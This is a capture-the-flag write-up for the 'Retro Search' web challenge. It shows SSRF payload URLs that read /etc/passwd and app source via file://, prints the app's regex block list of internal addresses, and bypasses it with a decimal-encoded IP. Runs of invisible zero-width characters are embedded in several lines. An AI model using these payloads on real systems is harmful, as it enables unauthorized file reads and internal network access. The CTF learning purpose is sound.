110 - Retro Search (Ретро поиск) - duckerz CTF

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-19 | Status: Solved Techniques: decimal_ip_bypass, file_protocol_lfi, source_code_analysis, ssrf

Summary

Task: Retro-styled search engine with URL fetch functionality. Solution: Exploited SSRF via file:// protocol to read source code, discovered WAF blocking internal IPs, bypassed WAF using decimal IP format to access internal admin service.

110 - Retro Search (Ретро поиск) - duckerz CTF

Description

"Интернет помнит всё... если знать, где искать" (The Internet remembers everything... if you know where to look)

URL: http://tasks.duckerz.ru:30073/

A retro-styled search engine on Flask/Werkzeug with URL search functionality.

Analysis

Reconnaissance

1. The web application is a retro-style search engine
2. The search form accepts a q parameter and makes HTTP requests to the specified URL
3. When entering an invalid URL, we get an error:

   Invalid URL 'test': No schema supplied. Perhaps you meant http://test?
   

   This message is from the requests library - a clear sign of SSRF vulnerability! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Discovered Vulnerabilities

• SSRF - the server makes requests to arbitrary URLs
• LFI - the file:// protocol is supported
• WAF bypass - IP address filtering via regex without considering alternative formats

Solution

Step 1: Testing SSRF and LFI via file://

http://tasks.duckerz.ru:30073/search?q=file:///etc/passwd

Successfully retrieved the contents of /etc/passwd - the file:// protocol works!

Step 2: Reading the application source code

http://tasks.duckerz.ru:30073/search?q=file:///app/app.py

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Discovered a WAF blocking internal addresses:

 python read-only • copy allowed Copy
def is_blocked_url(url):
    decoded_url = unquote(url)
    blocked_patterns = [
        r'localhost',
        r'127\.0\.0\.1',
        r'0\.0\.0\.0',
        r'169\.254\.',
        r'::1',
        r'internal',
        r'172\.30\.0\.11',
        r'172\.30\.0\.10',
    ]
    for pattern in blocked_patterns:
        if re.search(pattern, decoded_url, re.IGNORECASE):
            return True
    return False

Key finding: Internal services at 172.30.0.10 and 172.30.0.11 are blocked by WAF! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: WAF bypass via decimal IP

The WAF only checks string patterns like "172.30.0.11", but doesn't account for alternative IP formats.

Converting IP to decimal format:

 python read-only • copy allowed Copy
# 172.30.0.11 -> decimal
ip = "172.30.0.11"
parts = list(map(int, ip.split('.')))
decimal_ip = (parts[0] << 24) + (parts[1] << 16) + (parts[2] << 8) + parts[3]
# Result: 2887647243

Verification:

172 * 256^3 + 30 * 256^2 + 0 * 256 + 11 = 2887647243

Step 4: Accessing the internal service

http://tasks.duckerz.ru:30073/search?q=http://2887647243

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

WAF bypassed! Received a response from the internal admin service with the flag.

Alternative IP Formats for WAF Bypass

References

• SSRF Bible
• IP Address Converter ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍